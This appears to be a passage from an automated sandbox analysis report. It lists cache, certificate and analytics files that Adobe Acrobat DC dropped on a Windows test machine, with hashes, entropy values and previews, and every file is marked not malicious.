Preview:	2025/01/11-01:05:35.980 480 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:05:35.981 480 Recovering log #3.2025/01/11-01:05:35.981 480 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFkleOVltfllXlE/HT8kCXNNX8RolJuRdxLlGB9lQRYwpDdt:kKHOPeT8RNMa8RdWBwRd
MD5:	38D282A25E8E7B7D196BDD44DC8D4187
SHA1:	10E2789CA6D9760F76BC4D37D07774F454748B51
SHA-256:	A52F05E2878DD143789D4BD2338B54A6DF86D9552691A263FF98C9366EA187A2
SHA-512:	1D65E526DC52808B0EF89E249F6A9D42D5DF251AA55C0281E6DD5BCD1BCCCF4F8056A4F75A28D0A397D5F57D6CC362E04C0BDB4FA56AE294F4D69C35A2A0F846
Malicious:	false
Preview:	p...... ........m....c..(....................................................... ..........W.....\..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1391791584200512
Encrypted:	false
SSDEEP:	6:kK1xptL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:dxptiDnLNkPlE99SNxAhUe/3
MD5:	C1153976979CD646792A4F092094757A
SHA1:	A91479EFB573744B08DFA8AC597B4C0B22E28FDE
SHA-256:	2B45F2A5E6E548D37CDFFA3FA1BF24107B82995F9EEA6716FDF7BEEEB0DBB38B
SHA-512:	3AB7915487094410877F048D0484EBFC3CC2DCEF7533B99EB151EA57B3965BCCDC428BB8F1BD09E64066A3E21D25BF0A7D0C875E1F944D0A0FEAB21DC1B00464
Malicious:	false
Preview:	p...... ..........L..c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7888

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7888

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.365455227890766
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD/+sRcce2vB3/dVlPIHAR0YWFoAvJM3g98kUwPeUkwRe9:YvXKXyote2vR/ZwHA6aGMbLUkee9
MD5:	3961509ABE29634C26E46C09EA8FCC28
SHA1:	0EC23E717D9FFA8370C616651BA877C9CD8F71A6
SHA-256:	EF7F2DC633CB49B68B513F423A02C12F6F5556045F20B076B3FB72EB11D9DF60
SHA-512:	C86474A37A47E3276F6CFB96C791F70C9A07B94584F132348E94B95824C79A7E3B6BEA9024DA691634EFBBB066008A5CA9419E652436EDD323F8707844B787AA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72b1aa00-660a-47e5-b35d-997f229b1c16","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736749785455,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.302727600781901
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD/+sRcce2vB3/dVlPIHAR0YWFoAvJfBoTfXpnrPeUkwRe9:YvXKXyote2vR/ZwHA6aGWTfXcUkee9
MD5:	FE908B8E11DFCA763695B72C372F7030
SHA1:	664CEFD7791B2F06543B68B559107ED498863A8C
SHA-256:	5867E35A681D2AF351AB2E30BDB1B4AA9015143F5E9F155ABE6C2CEB8D141503
SHA-512:	72443684225370BD1A8DC160EC438F027A01D097090E595B32A5CDE438096D7FD4D149689FE0D28B5AFCAACAA1CBE8D0186C31EF4404C1E1025B9A6CC19C0B37
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72b1aa00-660a-47e5-b35d-997f229b1c16","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736749785455,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2814338150087785
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD/+sRcce2vB3/dVlPIHAR0YWFoAvJfBD2G6UpnrPeUkwRe9:YvXKXyote2vR/ZwHA6aGR22cUkee9
MD5:	98F86EA922E3B55E702697A6CC1A1114
SHA1:	85DE66FEF5CA9D2CA4C7171FA65BB7B665D4310C
SHA-256:	1F103F9C3FE399CAC5FBD142B401FE62B192A0B59786D5FF4471E8A45840A837
SHA-512:	2D869B1C0A24513947AF560B25D8ACF25E051BC7F13A8B95E0C47FB581AA3A9368B98F6D1E7C2191F70FCCA6E0F01A7A5BC7A6C2C786E6EC31A812EF84AAA65E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72b1aa00-660a-47e5-b35d-997f229b1c16","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736749785455,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.342477172386011
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD/+sRcce2vB3/dVlPIHAR0YWFoAvJfPmwrPeUkwRe9:YvXKXyote2vR/ZwHA6aGH56Ukee9
MD5:	EADF2E65DB087B330DF795DEA3F18029
SHA1:	CF93BBF6AEA44E5D92DAD7E84CDA4F4C82FE487E
SHA-256:	A58D028E65436B73646A3B794C472D14E018A3E52EE6402C03FB2943472FDF41
SHA-512:	D210E36473863C2FCFBE1C17C462C856C7F8137FEC209DA5BFEE70FBC205A30464414BAB66DD529B150B760AC65E2AB14529928E678B9DB9EE246DF1DCE24CE3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72b1aa00-660a-47e5-b35d-997f229b1c16","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736749785455,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.693221563980372
Encrypted:	false
SSDEEP:	24:Yv6XyoI2JhW3pLgE9cQx8LennAvzBvkn0RCmK8czOCCSP:YvWJhshgy6SAFv5Ah8cv/P
MD5:	33DE52F5E3C3EFD0FEA162305A874BDB
SHA1:	14845D18773400771B05944D4AC0FC42F6938E54
SHA-256:	C2E876A05AD9C67B610DCF3716BF12391EB4A642E3A390C5AD9C401C2013E0CF
SHA-512:	EE7B82C68D65B60E423C044FEE5C921E318F83EB9ECF83BFD85C691F696EC55344330832CCFD12CE15E1933276E3B696958ED354EAFA93730DE4A36CBFAFF123
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72b1aa00-660a-47e5-b35d-997f229b1c16","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736749785455,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.291942118379803
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD/+sRcce2vB3/dVlPIHAR0YWFoAvJf8dPeUkwRe9:YvXKXyote2vR/ZwHA6aGU8Ukee9
MD5:	85A21C0DA7AB884A2A4A222501FD857D
SHA1:	FF9D94009A7BA539A693726D0ED2E494BFC323DB
SHA-256:	F4CDB16E29F4E5D1A836CBBB7D33A3F6664E6FEAB2286C01B194E2459A669B77
SHA-512:	16585E679EEF8ED05AB9737E7D390D7EF00E059D7301A95537C5BB8BBF9BFEB432A5BCFCB25030FFCFAFAC264382DA1A6B9862B903323C767FA12EDEB191C39C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72b1aa00-660a-47e5-b35d-997f229b1c16","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736749785455,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.290994671871687
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD/+sRcce2vB3/dVlPIHAR0YWFoAvJfQ1rPeUkwRe9:YvXKXyote2vR/ZwHA6aGY16Ukee9
MD5:	E071AE61173D0C36DEC0DC211F8668C5
SHA1:	1AFF9ADC880B2511CAA06A68216CEB310F312659
SHA-256:	04DAEC9D92CA9E2DD934BF343401F39B107A530F7216157A30E5839F5286103A
SHA-512:	7AC22ACAAB5FE1B338DFE0870A68AA28AE198412E2260B730E431E5DB373D7B78E9BD3859DC27787EB244EB7E1C1A79D22B4CA63BA76067CD1C833D27195A13C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72b1aa00-660a-47e5-b35d-997f229b1c16","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736749785455,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.306914826724261
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD/+sRcce2vB3/dVlPIHAR0YWFoAvJfFldPeUkwRe9:YvXKXyote2vR/ZwHA6aGz8Ukee9
MD5:	0CF88F8C9D9614E9BEA313C3EB457353
SHA1:	F5082EFBB220C0684FE2D8700A1357437A9ECDD6
SHA-256:	0E5239A9F9E1751B3F955696E5AA06B66E6D66090082D35C4F1BD44898DD7509
SHA-512:	D4CBD4A9B8032458A290CF9DF26311AF5DBCE6ED9ED6C1E1A7B5296F406F05E4D5B4C082EDBFFCE65DA805CE81B0C18D494CCD00BFFE369FF812B806FAC66F71
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72b1aa00-660a-47e5-b35d-997f229b1c16","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736749785455,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.319651801112735
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD/+sRcce2vB3/dVlPIHAR0YWFoAvJfzdPeUkwRe9:YvXKXyote2vR/ZwHA6aGb8Ukee9
MD5:	E054F069F132A24DB422414351B7A76C
SHA1:	DAB233C094CA2FDD2F69E4AF73F4692A55C67B86
SHA-256:	AAA63FF239D49BAE20EE7D74CD1D8F892B663293677483D65BA184A6215F7616
